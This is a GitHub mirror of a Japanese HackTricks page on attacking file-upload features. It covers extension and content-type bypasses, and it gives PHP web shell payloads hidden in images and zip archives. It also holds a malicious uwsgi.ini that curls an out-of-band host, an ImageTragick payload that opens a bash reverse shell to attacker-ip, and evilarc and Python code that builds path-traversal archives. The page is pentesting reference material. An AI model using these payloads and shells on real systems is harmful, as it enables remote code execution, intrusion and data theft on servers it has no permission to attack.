mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
318 lines
27 KiB
Markdown
318 lines
27 KiB
Markdown
# ファイルアップロード
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## ファイルアップロード一般的手法
|
||
|
||
他の有用な拡張子:
|
||
|
||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||
- **PHPv8での作業**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||
- **Flash**: _.swf_
|
||
- **Perl**: _.pl, .cgi_
|
||
- **Erlang Yaws Web Server**: _.yaws_
|
||
|
||
### ファイル拡張子チェックのバイパス
|
||
|
||
1. 適用される場合、**前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします: _pHp, .pHP5, .PhAr ..._
|
||
2. _実行拡張子の前に**有効な拡張子を追加する**ことをチェックします(前の拡張子も使用):_
|
||
- _file.png.php_
|
||
- _file.png.Php5_
|
||
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用することも試すことができます_)
|
||
- _file.php%20_
|
||
- _file.php%0a_
|
||
- _file.php%00_
|
||
- _file.php%0d%0a_
|
||
- _file.php/_
|
||
- _file.php.\\_
|
||
- _file._
|
||
- _file.php...._
|
||
- _file.pHp5...._
|
||
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加します。 _より良いペイロードを準備するために**前の拡張子**を使用することもできます。_
|
||
- _file.png.php_
|
||
- _file.png.pHp5_
|
||
- _file.php#.png_
|
||
- _file.php%00.png_
|
||
- _file.php\x00.png_
|
||
- _file.php%0a.png_
|
||
- _file.php%0d%0a.png_
|
||
- _file.phpJunk123png_
|
||
5. 前のチェックに**別の拡張子の層を追加**します:
|
||
- _file.png.jpg.php_
|
||
- _file.php%00.png%00.jpg_
|
||
6. **有効な拡張子の前にexec拡張子を置いて**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます):
|
||
- _例: file.php.png_
|
||
7. **Windows**での**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
|
||
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
|
||
|
||
```
|
||
# Linuxの最大255バイト
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
||
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
|
||
python -c 'print "A" * 232'
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||
# ペイロードを作成
|
||
AAA<--SNIP 232 A-->AAA.php.png
|
||
```
|
||
|
||
### コンテンツタイプ、マジックナンバー、圧縮およびリサイズのバイパス
|
||
|
||
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
|
||
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||
- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\
|
||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||
`\` または、画像にペイロードを**直接挿入する**こともできます:\
|
||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||
- 画像に**圧縮が追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||
- 画像の**リサイズを生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||
|
||
### その他のチェックするトリック
|
||
|
||
- アップロード済みのファイルの**名前を変更**する脆弱性を見つける(拡張子を変更するため)。
|
||
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行する。
|
||
- **情報漏洩の可能性**:
|
||
1. **同じファイル**を**同時に**何度もアップロードする
|
||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードする
|
||
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードする。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||
4. **NTFS**で簡単に削除できないファイルをアップロードする(例: **“…:.jpg”**)。(Windows)
|
||
5. **無効な文字**(`|<>*?”`など)を名前に持つファイルを**Windows**にアップロードする。(Windows)
|
||
6. **予約された**(**禁止された**)**名前**(CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9など)を使用して**Windows**にファイルをアップロードする。
|
||
- また、**実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することを試みてください。
|
||
|
||
### 特殊な拡張子のトリック
|
||
|
||
**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||
**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||
|
||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりすることができます...)
|
||
|
||
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
|
||
|
||
## **Jetty RCE**
|
||
|
||
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい \*.xml および \*.war が自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像に示すように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
|
||
|
||
.png>)
|
||
|
||
## **uWSGI RCE**
|
||
|
||
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||
|
||
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に操作される可能性があります。
|
||
|
||
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
|
||
```ini
|
||
[uwsgi]
|
||
; read from a symbol
|
||
foo = @(sym://uwsgi_funny_function)
|
||
; read from binary appended data
|
||
bar = @(data://[REDACTED])
|
||
; read from http
|
||
test = @(http://[REDACTED])
|
||
; read from a file descriptor
|
||
content = @(fd://[REDACTED])
|
||
; read from a process stdout
|
||
body = @(exec://whoami)
|
||
; curl to exfil via collaborator
|
||
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||
; call a function returning a char *
|
||
characters = @(call://uwsgi_func)
|
||
```
|
||
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
|
||
|
||
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げます。
|
||
|
||
## **wget File Upload/SSRF Trick**
|
||
|
||
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックはバイパス可能です。**\
|
||
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックをバイパス**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
||
```bash
|
||
#Create file and HTTP server
|
||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
python3 -m http.server 9080
|
||
```
|
||
|
||
```bash
|
||
#Download the file
|
||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
The name is too long, 240 chars total.
|
||
Trying to shorten...
|
||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||
Connecting to 127.0.0.1:9080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 10 [image/gif]
|
||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||
|
||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||
```
|
||
注意してください。**別のオプション**として、このチェックをバイパスするために考えているかもしれないのは、**HTTPサーバーが別のファイルにリダイレクトする**ことです。これにより、最初のURLがチェックをバイパスし、その後wgetが新しい名前のリダイレクトされたファイルをダウンロードします。これは、**wgetが** `--trust-server-names` **パラメータを使用している場合を除いて** **機能しません**。なぜなら、**wgetは元のURLに示されたファイル名でリダイレクトされたページをダウンロードするからです**。
|
||
|
||
## ツール
|
||
|
||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。
|
||
|
||
## ファイルアップロードから他の脆弱性へ
|
||
|
||
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みます。
|
||
- **filename** を `sleep(10)-- -.jpg` に設定すると、**SQLインジェクション**を達成できるかもしれません。
|
||
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成します。
|
||
- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。
|
||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||
- **JS**ファイル **アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) から **異なるsvgペイロード**を試してください。
|
||
- [有名な **ImageTrick** 脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) からのURLを指定して、**訪問者の情報を盗む**こともできます。
|
||
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで](pdf-upload-xxe-and-cors-bypass.md)
|
||
- 特別に作成されたPDFを使用したXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、指定された指示に従って任意のJSを実行するPDFを準備できます。
|
||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフトウェア**があるかどうかを確認します。
|
||
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します。
|
||
|
||
以下は、アップロードによって達成できることのトップ10リストです([こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||
|
||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webシェル / RCE
|
||
2. **SVG**: ストレージXSS / SSRF / XXE
|
||
3. **GIF**: ストレージXSS / SSRF
|
||
4. **CSV**: CSVインジェクション
|
||
5. **XML**: XXE
|
||
6. **AVI**: LFI / SSRF
|
||
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
|
||
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
|
||
9. **ZIP**: LFIを介したRCE / DoS
|
||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||
|
||
#### Burp拡張機能
|
||
|
||
{{#ref}}
|
||
https://github.com/portswigger/upload-scanner
|
||
{{#endref}}
|
||
|
||
## マジックヘッダーバイト
|
||
|
||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||
- **JPG**: `"\xff\xd8\xff"`
|
||
|
||
他のファイルタイプについては、[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)を参照してください。
|
||
|
||
### Zip/Tarファイルの自動解凍アップロード
|
||
|
||
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます。
|
||
|
||
#### シンリンク
|
||
|
||
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。
|
||
```
|
||
ln -s ../../../index.php symindex.txt
|
||
zip --symlinks test.zip symindex.txt
|
||
tar -cvf test.tar symindex.txt
|
||
```
|
||
### 異なるフォルダに展開する
|
||
|
||
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守るかもしれないという最初の仮定にもかかわらず、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能は悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
||
|
||
そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは以下のように使用できます:
|
||
```python
|
||
# Listing available options
|
||
python2 evilarc.py -h
|
||
# Creating a malicious archive
|
||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||
```
|
||
さらに、**evilarcを使ったシンボリックリンクのトリック**も選択肢です。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
||
|
||
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
|
||
```python
|
||
#!/usr/bin/python
|
||
import zipfile
|
||
from io import BytesIO
|
||
|
||
def create_zip():
|
||
f = BytesIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.writestr('otherfile.xml', 'Content of the file')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
**圧縮を悪用したファイルスプレーイング**
|
||
|
||
さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||
|
||
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。
|
||
|
||
```php
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
}?>
|
||
```
|
||
|
||
2. **ファイルスプレーイングと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
|
||
|
||
```bash
|
||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||
```
|
||
|
||
3. **Hexエディタまたはviによる修正**: zip内のファイル名はviまたはhexエディタを使用して変更され、「xxA」を「../」に変更してディレクトリを横断します。
|
||
|
||
```bash
|
||
:set modifiable
|
||
:%s/xxA/..\//g
|
||
:x!
|
||
```
|
||
|
||
## ImageTragic
|
||
|
||
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**([exploit](https://www.exploit-db.com/exploits/39767)から)
|
||
```
|
||
push graphic-context
|
||
viewbox 0 0 640 480
|
||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||
pop graphic-context
|
||
```
|
||
## PNGにPHPシェルを埋め込む
|
||
|
||
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
|
||
|
||
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響についての包括的な理解を提供します。
|
||
|
||
詳細情報は次のリンクにあります: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
|
||
## ポリグロットファイル
|
||
|
||
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
|
||
|
||
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
||
|
||
適応性がある一方で、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
|
||
|
||
詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
## 参考文献
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||
- [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|